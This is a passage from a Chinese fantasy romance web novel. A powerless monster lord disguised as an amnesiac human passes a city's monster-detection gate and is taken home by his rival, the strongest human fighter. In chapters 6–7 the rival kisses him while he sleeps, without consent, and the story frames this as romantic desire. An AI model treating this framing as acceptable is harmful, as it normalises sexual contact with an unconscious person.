不知何时,宽肩窄腰的男人站在身后,黑色战斗服包裹下的身形高大挺拔,如冬日雾凇般冷冽的苍灰色眼眸静静地凝视着他们的方向。
岳宁一凛,连忙立正行礼:“长官!”
肖闻笛面色幽冷,跟在他身旁的周图热络地和他们打招呼:“嗨!宁姐,你怎么在这里?”
“我……”岳宁一时无言,调查被救人员是她临时起意找的借口,此时不方便明说,于是含糊其辞说道,“我刚忙完,正要去找你们。你们怎么过来了?”
“我们来喊你,走,开会了。”周图手臂一挥,招呼着她跳到跟上来的另一辆卡车里,其他队员都等在那里。
岳宁连忙收起笔记本跟上,而等二人站定,她又发现肖闻笛没有跟来。
她下意识回头。
只见比起刚才,肖闻笛的位置距离那位被解救的青年近了很多,他们这位向来拒所有人于千里之外的长官半俯着身,将搭在栏杆上的黑色风衣取下,披在了青年的身上。
那件风衣……
很眼熟。
岳宁猛然停住脚步。
攻掠处内人人皆知,他们冷然孤高的长官惯常在战斗服外加套一件黑色风衣,在进入深渊前他也的确穿着,但从深渊出来后,那件风衣却不见了。
原本她以为是在清剿怪物时弄脏丢掉了,却不想竟在这里。
岳宁拉住周图:“长官认识他?”
周图顺着她的目光看到了二人,大大咧咧地点头:“是啊。你不知道吗?是老大把他从深渊巢穴里救出来的。”
岳宁微微皱起眉。
一股异样的感觉浮起。
但自家长官多年的脾气秉性中央区人人皆知,冷孑孤傲,追求者数之不尽,其中也不乏容貌顶绝的,却从未有一人打动过他的心。
岳宁很快丢掉了不可能的猜想。
果然在下一刻,肖闻笛已经转身,几个雷光闪过,轻而稳地落在了他们身旁。
*
车里只剩下晏深一人,风衣裹紧身体,原本苍白的脸颊因为温度的提升而泛起红润。
披散的长发用一根细绳挽起,露出如天鹅般纤长白皙的脖颈。
“被风吹乱了。”
就在几分钟之前,肖闻笛主动提供发绳,帮他把头发挽起。
粗粝的指腹扫过脖颈,传来温热的触感,有呼吸喷洒在耳畔,扫过绒毛泛起酥痒。
又一触即离。
“………”
晏深略显迷茫地眨眨眼睛,他远眺着陌生山麓的轮廓,隐约间感到有目光落在他的身上,只言片语飘进耳中。
“长官,这个人很可疑。”
他微微侧眸,看到了隔壁车内正在开会的攻掠处队员们,刚才查问自己的女队员岳宁正低声向肖闻笛汇报着情况。
晏深虽然失去了力量,但属于怪物的灵敏听觉仍有所保留,人类自以为放低的声音,依旧七七八八钻进耳廓。
岳宁将刚才的询问一五一十地复述,晏深只能看到肖闻笛的背影,男人静默听完属下的疑点陈述,问道:“你觉得他有什么问题?”
岳宁的表情有些犹豫,其实就连她自己也不敢相信自己的猜想,只试探着开口:“长官,您不觉得他的失忆很有蹊跷吗?”
失去记忆,便对过去无从查证,是掩饰真实身份的绝佳借口。
肖闻笛迅速捕捉到了她的言下之意:“你怀疑他是奸细?是逃犯,还是……乔装成人类的怪物?”
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最后一句话犹如惊石落入平静的湖面,周围的队员们议论纷纷。
“乔装成人类的怪物?敢潜伏到攻掠处里来,难道是智慧种?”
“可所有的智慧种都被监察处盯着,根本没有任何一个离开深渊的消息。”
“就是啊!怎么可能有智慧种跑出来……”
“喂,你们忘了……”
这时,突然有人一脸惊恐地插话:“前几天不就正有一个,我们不就是为了它而来的吗?!”
“你是说……怪物之主?”“可它已经死了啊。”
“谁亲眼见到它死了?!”
一时间所有人沉默。
在搜查完深渊后,他们都以为怪物之主在监测器上信号消失,肯定是因为它已经死了。
但如今看来,也有可能是它找到了什么方法,脱离了监察处的监测。
而且怪物之主出没向来用黑雾萦绕周身,没有人清楚看到过它的真实样貌。
就算它潜藏起来乔装成人类,也不会有人能认出它。
岳宁补充佐证:“怪物之主是长发,他也是长发。”
“但是宁姐,”周图困惑提出疑问,“怪物之主是白发紫瞳,而他是墨发黑瞳,是典型的人类特征呀。”
岳宁反问:“正常人类男性会留长发吗?”
周图气呼呼反驳:“宁姐你这是赤裸裸的偏见!男生怎么不能留长发了?再说了,他不知道被关在深渊里多久,总不能让怪物给他剪头发吧?久而久之可不就留长了。”
“但你不觉得长度太相近了吗?”
“巧合呗。”
周图从心底里不相信,他是攻掠处队员中和晏深接触时间最长的,在赫川突然袭来时,青年分明差点摔倒,那副纤瘦柔弱的样子,怎么可能是那位睥睨天下、蔑视整个人类的怪物之主。
岳宁则不以为然。
怪物狡诈,装成什么样子都有可能,历史的教训让她不得不提起十二万分的警戒。
怪物之主刚刚消失,青年又恰好出现,而且那股萦绕周身的气息……实在是太可疑了。
两方谁也说服不了谁,于是岳宁转向众人的中心:“长官,您怎么看。”
在他们讨论的过程中,肖闻笛一直沉默不语,修长匀称的手指轻轻敲击着车栏杆,眉眼微敛,似在思考。
那双苍灰色的眼眸幽暗深邃,没有人知道他在想什么,但所有人都在静静等待。
身为人类最强战力,肖闻笛是攻掠处无所质疑的领导者,在过去的无数个抉择点,他都带领众人做出了正确的选择,而如今,众人也都相信着他的判断。
须臾之后,肖闻笛收回手,覆上腰侧的佩剑。
金属的质感冰凉,一如他冰凉如山巅雪的语调。
“确实可疑。”
周图不可置信地瞪大眼睛:“老大!”
岳宁松了一口气。
怪物之主的可怖足以倾覆整个人类,当下车队即将返城,她决不能让可疑人员毫无防备地进入到中央区。
“现在动手?”
“不。”
肖闻笛拒绝了她的提议,目光投向悠远的天际。
朝阳升起,赤红褪去,天边弥漫着淡淡的薄雾,朦胧的尽头是人类城市的轮廓,高耸的围墙直插云霄,将所有来自深渊的怪物阻挡在外。
而在层层守卫的城市入口处,数台巨大的机器横亘在所有入城生物的面前。
任何妄图浑水摸鱼进入城市的怪物,都会被无情揭露原本的身份。
肖闻笛语气平静地宣告:“我们无法判断他的身份,但城防处会告诉我们答案。”
5. 检测
装甲卡车全速前进。
再过十几分钟,车队即将抵达中央区城市的入口。
城防处是人类中负责保护城市安全的组织,他们看守在入口处,对每一个进城的人员进行身份检测。
检测机是一架两米高的硕大机器,像是一道拱门,在最上端安装着示警灯。人类经过,示警灯亮起绿色;怪物经过,示警灯亮起红色,同时发出尖锐的警报。
任何妄图伪装成人类潜入城市的怪物都将无所遁形。
晏深皱起眉。
该怎么办……
他不知道检测机的原理,也就无从规避,唯一的解决办法只有不去检测。
但……
眼角余光里,肖闻笛站在几步之外,侧身倚靠在卡车栏杆上,那把不久前在深渊中斩杀了无数怪物的长剑,正被它的主人拿在手中细细擦拭,银色的利刃反射着太阳的光辉,锐利刺目,仿佛在无声诉说着对崭新鲜血的渴望。
自从攻掠处开会结束,肖闻笛便一直待在他的身边。
晏深知道自己正在被看守,他的身份已经被怀疑,若是自己有任何异动,那把长剑便会毫不犹豫地砍下他的头颅。
而就算他侥幸从肖闻笛手中逃脱,人类城市之外遍布深渊的怪物,以他如今的样子,根本活不过今晚,而且必定死状凄惨。
摆在他面前的,是无论如何都必死的结局。
手指不自觉攥紧。
在掌心印下泛白的月牙痕迹。
终究是……躲不过么?
晏深眼底浮起自嘲。
十几个小时前死里逃生的庆幸,此刻看来竟无比讽刺。
只是他真的想不明白,为什么自己会一夜之间失去所有的力量?赫川给他喝下的药究竟是什么?
不弄清楚原因,他真的……
不甘心啊!
*
十多分钟转瞬即逝,车队陆续停在了城门外。
所有人员全部下车。
这次攻掠队去得快,回来得更快,除了随行成员全体回归,还带回了不少被解救的平民和俘虏的怪物。
一时之间熙熙攘攘。
然而场面虽乱,晏深仍被严密地盯防着。
从装甲卡车下来后,肖闻笛便紧紧跟在他的身后,阳光从背面斜射过来,高大的阴影覆盖住他的全身。
地面上完全看不到他的影子。
晏深:“……”
真是想逃也逃不掉呢。
随着前排人员陆续进城,他距离检测机越来越近。
攻掠处精英小队的成员一部分已经站在城门内,另一部分则不远不近地跟在他们后方,每一个人都状似无意地看向别处,但实际目光的焦点无一不落在他的身上。
岳宁已经将右手背在身后,隐有元素异能被调动的痕迹,只等着检测机亮起红灯便第一时间动手。
而周图站得最远,面色轻松,和身边精神高度紧绷的队友格格不入。
晏深低敛下眼睫,无奈轻笑。
临死前还欺骗了单纯青年的信任,真是罪大恶极呢。
不过……只要检测机红灯亮起,一切都会结束。
此刻再友善的人类,在面对是怪物的他时,都会改变态度,毫不犹豫地出手。
晏深抬起头。
硕大的检测机毫无阻碍地矗立在水泥浇筑的地面上,他的面前再无一人。
“请站上检测台。”
城防处的工作人员例行提示着。
晏深向前走了两步,又突然想到什么,停在原地向后转身,他抬起头,正撞见肖闻笛微微蹙起的眉头。
呵……
在担心他突然发难攻击吗?
眼角余光里,其他攻掠处队员也都一副如临大敌的警戒模样,每个人都握紧了自己手中的武器。
晏深淡然轻笑,脱下了披在肩上的黑色风衣,还给了肖闻笛。
他可不想一会儿打起来,自己还穿着死敌的衣服,更不想曝尸荒野的时候,“裹尸布”是砍了他脑袋的人施舍的。
哦,对了……
晏深抬起手,想把肖闻笛给他的头绳也还给他,却在指尖堪堪触碰上头绳的时候,被猛然伸来的手掌一把握住。
不知是不是一路戒备精神紧绷的原因,肖闻笛的手指没有了此前的温热,透着侵入骨髓的寒凉。
晏深被冰得一抖。
下意识仰起头看向男人。
肖闻笛比他高半头,身形也更宽,此刻俯视下来,完全遮挡住了太阳,不留一丝光晕。
晏深看不清他的神情。
“上去。”
肖闻笛的声音又低又沉,甚至透着细微的沙哑,手掌紧紧
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箍住他的手腕,将他推向检测机。
晏深:“……”
嚯,就这么迫不及待地想要揭穿他,然后刀了他吗?
罢了,一个小头绳而已,主人不想要就算了。
绑着头发也很方便一会儿砍脑袋不是?
晏深抽回手,踏步走上检测机,他望着面前高耸入云的城墙,城墙上安装着数不清的高威力射杀武器,而再过不了几秒钟的时间,这些枪口将全部指向自己。
还有攻掠处的队员们,他的宿敌肖闻笛,都将以最大威力的攻击袭向他。
而人类不知道的是,他们大可不必如此大动干戈,因为就算只是一个普通的攻掠处队员,都可以轻易杀死现在的自己。
晏深平静地闭上眼睛。
“嘀——!嘀——!”
报警声响起。
利刃率先出鞘。
*
“啊!”
一声惨叫,猩红的液体溅洒在地面,血腥味弥漫开来。
“啐!没脑子的怪物,以为变成人类的样子就能蒙混进城了?”
检测机的红灯闪烁,映照在眼睑上泛着刺眼的赤色,而预想中的疼痛并没有到来。
晏深睁开眼睛。
隔壁的检测机上,倒着一只刚刚死去的怪物,尸体的脑袋被砍下,顷刻间现出本体兽毛浓密的模样。
是一只狼型低级种。
城防处的工作人员动作娴熟地开始收拾残局,尸体被搬走,血液被擦拭。
后面排队的人们面色如常,就像早已见惯了刚才的场面。
“喂,你还不走吗?”
旁边的工作人员催促着他离开,腰间的武器从始至终都没有拔出来过。
晏深一愣。
“走吧。”
有人上前拉住了他的手腕,将他带离检测机。
直到走出去好几步,晏深才恍然回过神来,抬头望向机器顶端的示警灯。
因为刚才的骚乱,后排的人们被隔离等待清理完毕,示警灯还保持着他检测后的样子。
而那高高的机器顶端,显示着的分明是——
——绿色。
不是怪物的红色。
是代表着人类身份,可以安全进城的绿色。
晏深大脑一片茫然的空白。
……怎么可能?
6. 触碰
检测机顶端,绿色的灯光平静地亮着,震惊如惊涛骇浪般席卷了他的周身。
——检测机坏了。
这是晏深第一时间想到的原因。
肯定是这台检测机故障了,否则怎么可能测不出他怪物的身份,还对他亮起标示着人类身份的绿灯?!
因为故障,所以无论是谁通过,都会显示绿灯。
想明白其中的关窍,晏深收回目光,而当他跟随着人流徐徐走进城门时,身后却又响起尖锐的警报声。
那台他认为故障了的机器,赫然亮起了红灯。
触发警报的“人类”想要逃跑,城墙上的武器定位到它的位置,瞬间射穿了它的脑袋。
尸体倒地的瞬间,乔装出的人类模样褪去,显露出原本怪物的形象。
检测机完美地检测出了乔装的怪物。
——机器没坏。
晏深:“………?”
但为什么……
他可以安然通过!?
黝黑的瞳孔震颤,晏深不可置信地瞪大眼睛,他的大脑一片混乱,思绪像是乱麻般缠绕纠结。
“跟紧我。”
胳膊上突然传来拉力,熟悉的嗓音响在耳畔,晏深恍然回神,这才发现自己的手腕正被肖闻笛攥在掌间。
手掌的触感温热,不复此前的冰凉,而那双苍灰色的眼眸低垂着,倒映着他满脸的惊愕。
晏深连忙控制表情,低下头跟在肖闻笛的身后。
一切发生得很快,从警报声响起到他们继续离开不过瞬息之间,但肖闻笛距离他太近,他不确认肖闻笛是否注意到了他的异常。
要不要先下手为强?
眼角余光里,肖闻笛的背脊宽阔,黑色战斗服紧紧包裹着遒劲的肌肉,后背的位置全无防备地暴露在他的面前。
这本该是身为死敌的他永远无法轻易触碰的位置,但现在只要轻轻伸出手,就能覆盖上肉.体之下砰砰跃动的心脏。
那颗他在战斗中,曾经无数次想要洞穿血肉、亲手挖出的……属于人类最强者的心脏。
“………”
杀意浮现,又一闪即逝。
晏深低敛下眉眼。
不,还不能动手。
他现在力量全无,肉体凡胎根本破不开人类最强的防御,况且从背后偷袭也不是他爱干的事儿。
距离他们离开城门,已经过去了三四分钟的时间,肖闻笛一直没有对刚才的插曲多问什么。
或许……他根本就没有注意到。
随着时间的推移,晏深越来越确信。
毕竟他已经通过了检测机,以无可置疑的人类身份进入到中央区,没有人会再怀疑他的身份。
现在最要紧的是潜伏下来,想办法找到恢复力量的方法。
晏深任由肖闻笛拉着一路穿梭过拥挤的人群,离开了城门附近的区域。
中央区的街道干净整洁,他们停靠在路边,晨风吹来,带来深夜未完全褪去的寒意。
晏深穿得单薄,瑟缩着双臂环抱着身体,下一秒,有什么东西覆在肩头。
他回神侧眸。
只见入城前归还给其主人的黑色风衣再次回到了他的身上,暖洋洋的触感笼罩了周身,抵御了早晨尚且清凉的空气。
肖闻笛抬手帮他整理衣领。
晏深眼睫抖动。
下一秒,后撤半步拉开距离。
修长匀称的指节悬停在半空,无处着落。
晏深像是没看到般,语气礼貌又疏离:“肖长官,多谢。”
客气的称呼像是一道泾渭分明的划线,将两人分隔开来,中间隔着天堑,无法接近,更无法触碰。
而这才是,他们本该保持的距离。
他们是死敌。
又不是兄弟、朋友或是其他什么亲昵的关系。
过度的接触并不是好事。
“衣服洗干净后,我会送还给你的。”
晏深感觉得到,幽深的目光落在他的身上,沉沉如苍穹上遮天蔽日的密云,不过最终,半空的手指收回,垂落在身侧。
马路上传来装甲卡车行驶的声音。
攻掠队已经全部完成入城检测,周图探着头向他们挥手:“老大!这边这边!”
他们上了车。
“被吓到了吧?”周图见晏深脸色不太好,以为他是被刚才城门口的血腥场面吓到了,走过来安慰,“不用怕,那只是针对怪物的,咱们人类没事!”
晏深勉强扯了下嘴角。
“喝口水压压惊。”
一瓶水被递了过来,是之前怀疑他身份的女队员岳宁,只不过此前防备警戒的眼神全部消失不见,取而代之的是柔和的笑意,还有……
明显怀疑错人的不好意思。
不止她,车里其他队员也都是差不多的表情,三三两两凑过来,七嘴八舌安慰他。
“别担心,进了中央区就安全了,再也不会有怪物伤害你了。”
“听说你失忆了?嗐,失忆了也没什么,我朋友是中央医院有名的脑科大夫,改天介绍给你,肯定能帮你治好的!”
“是啊是啊,这段时间你就暂且安顿下来,我们会帮你找家人的。”
“还有还有………”
晏深被攻掠处的队员们团团围住,热情地出谋划策,在热络的氛围中,他的目光不禁飘向另一侧。
远离众人的一角,肖闻笛坐在车栏杆上,黑色战斗服包裹下的长腿半支,整个人向后倚靠在车身上。
那双苍灰色的眼眸半敛着,冷峻的脸上面无表情,看不出在想什么。
*
怪物综合应对管理局位于中央区西南,是一座占地面积上千平的宏伟建筑。
攻掠处隶属其中。
车队抵达后,众人纷纷跳下车,忙活着物资的装卸,以及俘虏和被救人员的安置。
晏深和其他被救人员被带到一间简易的休息室,转交给后勤处的工作人员统计情况。
被救人员中大部分人都是中央区的居民,少数来自其他区域,都是在外出过程中不幸碰到怪物,然后被掳到了深渊。
工作人员联系各自家属前来认领,忙到最后看着晏深调查表上一问三不知的答案,拧起了眉头。
“失忆了?那你身上还有钱吗?”
钱?
人类的货币,他从来没用过。
晏深摇了摇头。
不止没有钱,也没有任何贵重物品,他被囚禁了三天,身上只有被汗液浸透变黄的衣服,丢出去乞丐都不会要的那种。
工作人员从他的表情读懂了情况,点点头说道:“那你就……”
话说到一半被打断,有人匆匆推门而入,附在耳边低语,工作人员下意识看了晏深一眼。
等来人离开,工作人员收起调查表:“你跟我来。”
晏深:“……”
他原本要说的,是这句话吗?
在工作人员的带领下,晏深穿梭过走廊,走了很久才停在一扇门前。这里比刚才的房间更加靠近建筑的中心,周围也更加安静。
“你在这等着,一会儿会有人来安排你的住宿。”
工作人员示意他进去,然
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后转身离开。
晏深:“………”
走廊里空寂无人,他驻足片刻,然后打开了面前的门。
入目的是一间休息室,比刚才那间小一些,装修却更加精致,也更加舒适。
空气中飘荡着草木清香的味道,窗明几净,阳光透过窗棱照射进来,落在小巧的沙发上。
深灰色的沙发柔软蓬松,坐上去整个人都陷了进去,晏深这几日身逢大变,又是被关又是坐车赶路,早已疲惫不堪,身体在这一刻得到了前所未有的放松。
面前的茶几上摆放着热奶和糕点,他吃了一些填饱肚子,然后安静坐着等待。
只是说好一会儿来的人,过了许久都不见身影,晏深打了个哈欠,眼皮变得越来越沉。
渐渐的,挺直的脊背松懈了下来,身体软着躺倒在沙发上,柔软的触感包裹下,困倦顷刻间袭来。
阳光移动,白皙的脸庞隐在阴影处,熟睡的人发出清浅而又规律的呼吸声。
*
肖闻笛推门而入,看到的就是这样的场景。
纤瘦的人侧躺在沙发上,墨色的发丝如瀑布般铺洒在身侧,映衬着如玉般薄嫩的肌肤。纤细的四肢仿若玩偶脆弱的肢节,一触即折,而只有他知道,曾经有多么可怖的力量酝酿其中。
肖闻笛一步步走近。
眸光暗沉。
他看着自己朝思暮想、魂牵梦萦的人,正躺在自己休息室内的沙发上,触手可及。
直至此刻,依旧恍若梦里。
细密的睫毛低垂,随着呼吸轻微起伏,那片曾主动覆上他的唇,因为吃饱喝足而泛着红润。
像是一颗饱满的樱桃,引人采撷。
肖闻笛单手撑在沙发靠背上,轻而缓地俯下身。
晏深睡得很沉。
也许有热牛奶助眠的功效。
虽然不是他的本意,但……
突发的工作耽搁了他的时间,却也阴差阳错的撞见了此番风景。
似乎就连上天都在帮他。
苍灰色的眼底暗芒翻涌,肖闻笛持续逼近,宽阔的身躯沉沉压下,直至对方柔和的呼气喷洒在他的面颊,带着糕点的香甜。
二人几乎鼻尖相碰。
即便已经如此贴近,熟睡的人也没有醒来,更不会后退一步,将他拒之千里之外。
隐秘的哀怨与酸妒纠结缠绕着……明明可以和攻掠处的队员们言笑晏晏,却唯独避他如蛇蝎。
“你就这么抗拒我吗?”
肖闻笛嗓音压得极低,似控诉,又似喃喃自语。
粗粝的指腹挑起细而尖的下巴,在那片滑腻的肌肤上细细摩挲。
目光移动,落在那片红润的唇上。
在怪物巢穴里浅尝辄止的味道在心间瘙痒,肖闻笛眸光暗了又暗,这一刻,他不再压抑自己,垂首覆上。
唇瓣柔软温热,一如记忆中的香甜,而彼时由对方主导,只会笨拙地贴合,但如今,肖闻笛毫不客气地破开唇齿,挤进内里。
口腔的软肉灼热而炽烈,舌尖瞬间被包裹,比起单纯的唇瓣贴合,带给人的感觉更加强烈。
舌尖牵引着共舞,水声四起,香甜的津液交融互换,又带来更加难以言喻的苏爽,快感直冲天灵盖。
呼吸不可控制地变得粗重,苍灰色的眼底几乎凝出粘稠的暗色。
内心有野兽在嘶吼。
肖闻笛沉沉俯视着身下的人,无人可闻,却依旧低声细语。
“你吻我一次,我还你一次,公平合理。”
“但我帮你的那一次,你该怎么还?”
7. 耐心
封闭的休息室内。
世人皆道伟岸圣洁的禁欲者正垂眸凝视着他的杰作。
纤瘦的人躺在沙发上睡得正沉,刚才的动静丝毫没有吵醒他的迹象。
而那片过往无人涉足过的唇瓣,早已被吻得通红,艳丽得像是荼靡盛开的花蕊。
透明的涎液沾染在上面,泛着亮晶晶的光泽,又因为骤然的分离,拉扯出细长的丝线,最终断裂凝成水珠落在唇畔。
肖闻笛附在晏深的耳边,低声细语:“我帮你的那一次,你要怎么还?”
他的问题自然无人回答。
晏深的呼吸平缓又稳定,多日的心惊胆战与身体的疲劳让他一经放松便陷入了极致的深度睡眠中,即便是被更加恶劣地对待,恐怕也只会在猛然的动作中懵然醒来。
肖闻笛眸色幽暗。
他千辛万苦采摘来的果实,当然想一层层剥下外层的包裹,露出内里,牙齿厮磨,吸吮舔舐,留下一道道糜丽泛红的痕迹,让那细长的眼尾浮起潮湿的红润,将每一寸肌肤都浸染上自己的气味,看着他哭喊求饶,浅浅低吟。
但……
街道上退后的那一步,像根刺般扎在肖闻笛的心中。
纵然他想要,但对方并不会心甘情愿地给。
默默守望八年,原本以为此生全无可能,却不想曾经强大到不可接近的心上人骤然失去力量。
肖闻笛知道,如今阴差阳错得来的机会绝不会再有第二次。
他不能搞砸。
肖闻笛深吸一口气,缓缓起身,目光却是一瞬不瞬地凝视着身下的人,一刻都不曾移开。
像是野兽盯上了猎物,不达目的决不罢休。
“先攒着。”
“我们来日方长。”
*
不知过了多久。
晏深终于从沉睡中醒来。
他已经很久没有这么放松过了,空气中的味道让他觉得安心,好像回到了曾经某段闲暇舒适的时光。
困倦褪去。
他徐徐睁开眼睛。
入目的一切都透着陌生。
没有巢穴的阴暗潮湿,周边的空气干燥而温暖,记忆中漆黑的岩壁不再,取而代之的是光滑洁白的天花板,坚硬的石床也变得如羽毛般柔软舒适……
大脑慢半拍意识到不对。
晏深猛然坐起身。
靠窗的位置,男人静静地坐在靠背椅上,他再次撞进了那双熟悉的苍灰色眼眸。
晏深:“…………”
什么情况?
谁能告诉他为什么肖闻笛会出现在这里???!
比起他的惊愕,肖闻笛的表情没有丝毫的波动,见他醒来便站起身,对他平静说道:“走吧。”
晏深刚刚睡醒的脑袋还泛着迷糊:“啊?去哪?”
“带你去住的地方。”
睡着前的记忆涌回脑海,晏深回想起了自己出现在这里的原因。
[你在这等着,一会儿会有人来安排你的住宿。]
晏深:“………”
原来这个“有人”竟然是指肖闻笛么……
所以……这间比公共休息室更舒适的地方,其实是肖闻笛的休息室?
晏深后知后觉。
窗外的天色已经黑了下来,他这一觉睡的时间并不短,意识到自己居然在死敌的地盘上睡出了安逸感,他浑身泛起别扭。
与此同时,一股难以遏制的后怕涌上心头。
他的睡眠向来又深又沉,今天尤甚,他完全不知道肖闻笛什么时候来的,更不知道他待了多久。
幸好他没有说梦话的习惯,否则也不用醒过来了,直接身份暴露脑袋搬家,下辈子再见吧。
晏深胡思乱想的片刻,肖闻笛已经走到休息室的门口推开了门,他连忙起身跟上。
离开房间的一瞬,他突然意识到,肖闻笛似乎是一直安静坐着等他自然醒,居然没有出声叫醒他。
唔……
耐心真好。
他不会无聊吗?
*
时间已经很晚,下班后的管理局大楼里空寂无人。
晏深跟在肖闻笛身后一路穿梭过走廊,下行来到地下停车场。
他一路观察,发现比起深渊里的原生态,人类还真是研究了不少新奇的玩意儿。
铁盒子会上下移动,透明门会自动开合,甚至还有能说话的小匣子。
晏深看得新奇,却也尽量控制自己不要露出太多表情。
——正常人类是不会对这些习以为常的事物露出惊异的。
他小心翼翼地观察着周围的事物,好奇这些东西都叫什么名字有什么用,但上面并没有说明书来告诉他。
巧的是素来冷峻寡言的肖闻笛,今日格外话多。
“我们坐电梯下行。”
——哦,原来这个会上下移动的铁盒子叫电梯啊。
“自动门的感应不太灵敏,明天得找人来调试下。”
——自动门,真是通俗易懂。
“打卡机下班,我们去停车场。”
——打卡机?听起来像是驱赶牛马的小皮鞭呢。
“开车回家。”
——车,可以开在马路上的代步工具。
这个晏深认识,每次攻掠处出动,都会开着一排车队前往深渊,以前他看到过很多次,而且这次他也是坐着装甲卡车来到的中央区。
只不过,比起三四米高的装甲卡车,现在停在他们面前的车子要更加小巧轻便,没有厚重的金属层保护在外,通体由轻薄的金属和玻璃构成,应该是人类专门用来在城市里使用的类型。
车门自动开启。
嚯!
这个他知道,自动门。
原来车上也能安装自动门呀。
晏深大开眼界,他坐进车里,座位软软的,触感和休息室里的沙发类似,坐起来要比硬邦邦的装甲卡车舒服很多。
车门关闭。
但车并没有发动。
等了一会儿,晏深奇怪地扭头看向驾驶席。
肖闻笛也正在看着他。
嗯?还不走?
两人大眼瞪小眼,片刻后,肖闻笛率先出声:“系安全带。”
安全带?
晏深看到肖闻笛的胸前斜着一条黑色的带子,将他固定在座位上。
是说这个吗?可他刚才一时被座位的柔软度吸引了注意力,没有看到肖闻笛是怎么操作的。
要问问看吗?
会不会惹来怀疑?
他现在“失忆”了,忘记怎么系安全带也是可以理解的吧?
就在晏深犹豫的片刻,肖闻笛已经俯身接近。
晏深下意识后撤拉开距离,然而后背是固定的车座,他避无可避。
高挑挺拔的身躯趋近,那股淡淡的、草木的香味扑鼻而来。
是休息室里熏香的味道。
晏深一时晃神。
片刻间,肖闻笛已经欺身贴上,他甚至都能看到男人冷峻面容上清晰的皮肤纹理,温热的鼻息扫过他的脸颊,泛起轻微的痒意。
紧实而有力的手臂抬起,向着他沉沉压来……
晏深下意识闭眼。
“唰——”
“咔哒。”
然而预想中的触碰并没有到来,身侧有什么东西被抽出,然后响起金属嵌入塑料卡扣的脆响。
落在视网膜上的阴影后撤,直至再无动作……晏深慢慢睁开眼睛。
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视野里,肖闻笛端坐在驾驶席上,刚才的贴近仿若错觉。
车辆启动,缓缓驶出停车场,并入车水马龙的街道,城市的灯光透过车窗玻璃照了进来,晃得他眨了眨眼睛。
片刻后,晏深低下头看向自己身前。
——安全带已经系好。
*
目的地距离管理局很近,是一处位于城市中心的公寓楼。
他们下了车,乘坐电梯前往12楼。
看着显示屏上不断跳动的数字,又看了眼身侧的男人,晏深微不可察地松了一口气。
对于自己的这位死敌,晏深实在了解得不多,而对于整个人类族群,他更是知之甚少。
只这一晚他就见识了太多超出认知的东西,为了以后避免暴露怪物之主的身份,他还是离肖闻笛越远越好。
“叮——”
电梯抵达12楼。
金属门开启,晏深跟在肖闻笛身后走进走廊,右手边便是此行的目的地。
——攻掠处安排的临时居所。
精英小队的队员们说要帮他找家人,还会给他介绍医生治疗失忆……这些都好办,以后随便找个借口搪塞过去就好,而且这种小事,肯定不会劳烦攻掠处的老大来跟进。
以后只要他不主动接近,应该都不会再见到肖闻笛了。
而接下来,他就可以慢慢潜伏在中央区,找到解除药剂的方法,恢复力量,回到深渊。
然后……
把赫川那个混蛋片成凉拌海蜇丝。
想到今后快意恩仇的日子,晏深不禁情绪振奋起来。
门锁打开发出“咔哒”的脆响,肖闻笛拉开了公寓的外门。
晏深心情愉快,难得地对这位多年来不死不休的宿敌露出几分笑意:“谢谢你送我回来。”
他走进房间,回身想关上门,却见本该离开的男人也跟了进来。
二人四目相对。
晏深:“………”
嗯?
肖闻笛为什么还不走?
晏深茫然眨眼,但转念一想,别人辛苦送他回来,确实不能立刻赶人走,或许应该……准备点甜点饮品?
下午休息室里人类的待客之道,被晏深现学现卖,只可惜他也是初来乍到,房间里有什么东西都不清楚,只看到靠近玄关的桌子上放着一套水杯和水壶。
那就……
勉强凑活一下吧。
他走过去倒了一杯水,举起递给肖闻笛,也不知道是不是错觉,那张冷然如山巅雪的面庞上,似乎闪过一抹诧异。
但细看过去,又什么都没有。
大概……是错觉吧。
晏深静静站在玄关处,看着肖闻笛一小口一小口喝掉杯中的水,虽然速度慢得让人着急,但他还是努力学习着人类谦和的待客之道,耐心地等待着。
就像肖闻笛等他睡醒时一样。
过了好久,玻璃杯终于见了底。
晏深连忙接过杯子放回桌上,默默等待着肖闻笛离开。
然而……
肖闻笛不动如山。
……不是?
他还不走留下来干什么?
晏深咬了咬牙,直截了当地下逐客令:“肖长官,你该回家了。”
肖闻笛掀起眼睑。
这一次,晏深清晰地看到了那双苍灰色眼眸中浮起的惊诧。
那是在这位人类孤高的最强者身上,鲜少看到的神情。
不过很快,惊诧被淹没在深邃幽暗的眼底,肖闻笛站在几步之外,沉沉地俯视着他,似宣告又似无奈澄清:
“这是我家。”
晏深眨了眨眼。
“…………”
“????!”
8. 同床
晏深怔愣原地。
过了好几秒,他才反应过来。
这是……
肖闻笛的家???!!
黝黑的瞳孔地震。
他渐渐意识到刚刚忽略的细节。
难怪房间里这么干净,一点灰尘都没有!客厅的水壶里还有温水!一点都不像是临时安排的住所!
原来……竟然是肖闻笛在住的地方!
可是为什么?!
肖闻笛要带自己来他家?!
“这次被解救的人员很多,安置点没位置了。”肖闻笛解释后停顿一瞬,问,“工作人员没和你说吗?”
晏深:“………”
确实……没说。
不知道是被遗忘了,还是中间传话的疏漏,他并未得知这一消息。
晏深站在玄关前,风中凌乱。
原本以为马上就能摆脱的人,居然是他接下来一段时间的室友么?
人生怎么可以这样起起落落起起落落落落落落落落落落落落落落落落落………
在他怔愣的片刻,肖闻笛已经从房间里拿出一套睡衣递过来:“你先洗澡,我去收拾床铺。”
晏深无处可去,只能讷讷点头。
这几日衣服早已被汗液浸透,确实该好好洗洗,换身干净的衣服。
以前在深渊的时候,巢穴附近有一处水质极好的湖泊,可以一边泡澡一边赏月,是他闲暇时的第二爱好。
只不过人类居所怎么看都不像是能装下一片湖的样子。
现在该去哪里洗呢?
就在晏深浮起疑问的下一秒,肖闻笛领着他来到卧室旁的房间,然后打开了月白色瓷盆上方的开关。
哗啦啦的水声响起,清澈的水流顺着管道流进浴缸里。
“这里可以泡澡,左右可以调节水温,如果你不喜欢,旁边还有花洒可以冲澡,还有……”
肖闻笛详细地说明着浴室里各个设施的用法,晏深越听,眼睛越是控制不住地发亮。
这不就相当于把湖泊引到家里来了么?
这下他能舒舒服服地泡澡了!
肖闻笛退出浴室,关上门。
磨砂玻璃上倒映着模糊的人影,即便隔着一段距离,他仍然能从里面传出来的撩水声中感受到难以遮掩的轻松愉快。
唇角不自觉随之勾起。
冷然的眼底浮起罕见的笑意。
片刻后,肖闻笛收回目光,转身环视房间。
接下来……
苍蓝色的雷光在指尖流转,微小却带着不容忽视的毁灭力量。
……该好好地“收拾”下卧室了。
*
